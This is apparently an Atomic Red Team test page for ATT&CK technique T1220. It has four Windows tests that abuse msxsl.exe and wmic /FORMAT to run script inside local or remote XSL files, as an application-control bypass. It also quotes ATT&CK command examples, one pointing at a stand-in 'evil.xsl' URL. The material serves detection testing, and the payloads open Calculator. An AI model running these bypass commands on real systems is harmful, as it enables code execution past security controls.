# T1220 - XSL Script Processing
## [Description from ATT&CK](https://attack.mitre.org/techniques/T1220)
<blockquote>Adversaries may bypass application control and obscure execution of code by embedding scripts inside XSL files. Extensible Stylesheet Language (XSL) files are commonly used to describe the processing and rendering of data within XML files. To support complex operations, the XSL standard includes support for embedded scripting in various languages. (Citation: Microsoft XSLT Script Mar 2017)

Adversaries may abuse this functionality to execute arbitrary files while potentially bypassing application control. Similar to [Trusted Developer Utilities Proxy Execution](https://attack.mitre.org/techniques/T1127), the Microsoft common line transformation utility binary (msxsl.exe) (Citation: Microsoft msxsl.exe) can be installed and used to execute malicious JavaScript embedded within local or remote (URL referenced) XSL files. (Citation: Penetration Testing Lab MSXSL July 2017) Since msxsl.exe is not installed by default, an adversary will likely need to package it with dropped files. (Citation: Reaqta MSXSL Spearphishing MAR 2018) Msxsl.exe takes two main arguments, an XML source file and an XSL stylesheet. Since the XSL file is valid XML, the adversary may call the same XSL file twice. When using msxsl.exe adversaries may also give the XML/XSL files an arbitrary file extension.(Citation: XSL Bypass Mar 2019)

Command-line examples:(Citation: Penetration Testing Lab MSXSL July 2017)(Citation: XSL Bypass Mar 2019)

* <code>msxsl.exe customers[.]xml script[.]xsl</code>
* <code>msxsl.exe script[.]xsl script[.]xsl</code>
* <code>msxsl.exe script[.]jpeg script[.]jpeg</code>

Another variation of this technique, dubbed “Squiblytwo”, involves using [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) to invoke JScript or VBScript within an XSL file.(Citation: LOLBAS Wmic) This technique can also execute local/remote scripts and, similar to its [Regsvr32](https://attack.mitre.org/techniques/T1218/010)/ "Squiblydoo" counterpart, leverages a trusted, built-in Windows tool. Adversaries may abuse any alias in [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) provided they utilize the /FORMAT switch.(Citation: XSL Bypass Mar 2019)

Command-line examples:(Citation: XSL Bypass Mar 2019)(Citation: LOLBAS Wmic)

* Local File: <code>wmic process list /FORMAT:evil[.]xsl</code>
* Remote File: <code>wmic os get /FORMAT:”https[:]//example[.]com/evil[.]xsl”</code></blockquote>

## Atomic Tests

- [Atomic Test #1 - MSXSL Bypass using local files](#atomic-test-1---msxsl-bypass-using-local-files)

- [Atomic Test #2 - MSXSL Bypass using remote files](#atomic-test-2---msxsl-bypass-using-remote-files)

- [Atomic Test #3 - WMIC bypass using local XSL file](#atomic-test-3---wmic-bypass-using-local-xsl-file)

- [Atomic Test #4 - WMIC bypass using remote XSL file](#atomic-test-4---wmic-bypass-using-remote-xsl-file)


<br/>

## Atomic Test #1 - MSXSL Bypass using local files
Executes the code specified within a XSL script tag during XSL transformation using a local payload. 
Requires download of MSXSL. No longer available from Microsoft.
(Available via Internet Archive https://web.archive.org/web/20200825011623/https://www.microsoft.com/en-us/download/details.aspx?id=21714 ) 
Open Calculator.exe when test successfully executed, while AV turned off.

**Supported Platforms:** Windows


**auto_generated_guid:** ca23bfb2-023f-49c5-8802-e66997de462d





#### Inputs:
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| xmlfile | Location of the test XML file on the local filesystem. | Path | PathToAtomicsFolder&#92;T1220&#92;src&#92;msxslxmlfile.xml|
| xslfile | Location of the test XSL script file on the local filesystem. | Path | PathToAtomicsFolder&#92;T1220&#92;src&#92;msxslscript.xsl|
| msxsl_exe | Location of the MSXSL executable. | Path | PathToAtomicsFolder&#92;T1220&#92;bin&#92;msxsl.exe|


#### Attack Commands: Run with `command_prompt`! 


```cmd
#{msxsl_exe} #{xmlfile} #{xslfile}
```

#### Cleanup Commands:
```cmd
del #{msxsl_exe} >nul 2>&1
```



#### Dependencies:  Run with `powershell`!
##### Description: XML file must exist on disk at specified location (#{xmlfile})
##### Check Prereq Commands:
```powershell
if (Test-Path #{xmlfile}) {exit 0} else {exit 1}
```
##### Get Prereq Commands:
```powershell
New-Item -Type Directory (split-path #{xmlfile}) -ErrorAction Ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1220/src/msxslxmlfile.xml" -OutFile "#{xmlfile}"
```
##### Description: XSL file must exist on disk at specified location (#{xslfile})
##### Check Prereq Commands:
```powershell
if (Test-Path #{xslfile}) {exit 0} else {exit 1}
```
##### Get Prereq Commands:
```powershell
New-Item -Type Directory (split-path #{xslfile}) -ErrorAction Ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1220/src/msxslscript.xsl" -OutFile "#{xslfile}"
```
##### Description: msxsl.exe must exist on disk at specified location (#{msxsl_exe})
##### Check Prereq Commands:
```powershell
if (Test-Path #{msxsl_exe}) {exit 0} else {exit 1}
```
##### Get Prereq Commands:
```powershell
Invoke-WebRequest "https://web.archive.org/web/20200803205229if_/https://download.microsoft.com/download/f/2/6/f263ac46-1fe9-4ae9-8fd3-21102100ebf5/msxsl.exe" -OutFile "#{msxsl_exe}"
```




<br/>
<br/>

## Atomic Test #2 - MSXSL Bypass using remote files
Executes the code specified within a XSL script tag during XSL transformation using a remote payload.
Requires download of MSXSL.exe. No longer available from Microsoft.
(Available via Internet Archive https://web.archive.org/web/20200825011623/https://www.microsoft.com/en-us/download/details.aspx?id=21714 )
Open Calculator.exe when test successfully executed, while AV turned off.

**Supported Platforms:** Windows


**auto_generated_guid:** a7c3ab07-52fb-49c8-ab6d-e9c6d4a0a985





#### Inputs:
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| xmlfile | Remote location (URL) of the test XML file. | Url | https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1220/src/msxslxmlfile.xml|
| xslfile | Remote location (URL) of the test XSL script file. | Url | https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1220/src/msxslscript.xsl|
| msxsl_exe | Location of the MSXSL executable. | Path | PathToAtomicsFolder&#92;T1220&#92;bin&#92;msxsl.exe|


#### Attack Commands: Run with `command_prompt`! 


```cmd
#{msxsl_exe} #{xmlfile} #{xslfile}
```

#### Cleanup Commands:
```cmd
del -Path #{msxsl_exe} >nul 2>&1
```



#### Dependencies:  Run with `powershell`!
##### Description: msxsl.exe must exist on disk at specified location (#{msxsl_exe})
##### Check Prereq Commands:
```powershell
if (Test-Path #{msxsl_exe}) {exit 0} else {exit 1}
```
##### Get Prereq Commands:
```powershell
Invoke-WebRequest "https://web.archive.org/web/20200803205229if_/https://download.microsoft.com/download/f/2/6/f263ac46-1fe9-4ae9-8fd3-21102100ebf5/msxsl.exe" -OutFile "#{msxsl_exe}"
```




<br/>
<br/>

## Atomic Test #3 - WMIC bypass using local XSL file
Executes the code specified within a XSL script using a local payload.

**Supported Platforms:** Windows


**auto_generated_guid:** 1b237334-3e21-4a0c-8178-b8c996124988





#### Inputs:
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| wmic_command | WMI command to execute using wmic.exe | String | process list|
| local_xsl_file | Location of the test XSL script file on the local filesystem. | Path | PathToAtomicsFolder&#92;T1220&#92;src&#92;wmicscript.xsl|


#### Attack Commands: Run with `command_prompt`! 


```cmd
wmic #{wmic_command} /FORMAT:"#{local_xsl_file}"
```




#### Dependencies:  Run with `powershell`!
##### Description: XSL file must exist on disk at specified location (#{local_xsl_file})
##### Check Prereq Commands:
```powershell
if (Test-Path #{local_xsl_file}) {exit 0} else {exit 1}
```
##### Get Prereq Commands:
```powershell
New-Item -Type Directory (split-path #{local_xsl_file}) -ErrorAction Ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1220/src/wmicscript.xsl" -OutFile "#{local_xsl_file}"
```




<br/>
<br/>

## Atomic Test #4 - WMIC bypass using remote XSL file
Executes the code specified within a XSL script using a remote payload. Open Calculator.exe when test successfully executed, while AV turned off.

**Supported Platforms:** Windows


**auto_generated_guid:** 7f5be499-33be-4129-a560-66021f379b9b





#### Inputs:
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| remote_xsl_file | Remote location of an XSL payload. | Url | https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1220/src/wmicscript.xsl|
| wmic_command | WMI command to execute using wmic.exe | String | process list|


#### Attack Commands: Run with `command_prompt`! 


```cmd
wmic #{wmic_command} /FORMAT:"#{remote_xsl_file}"
```






<br/>
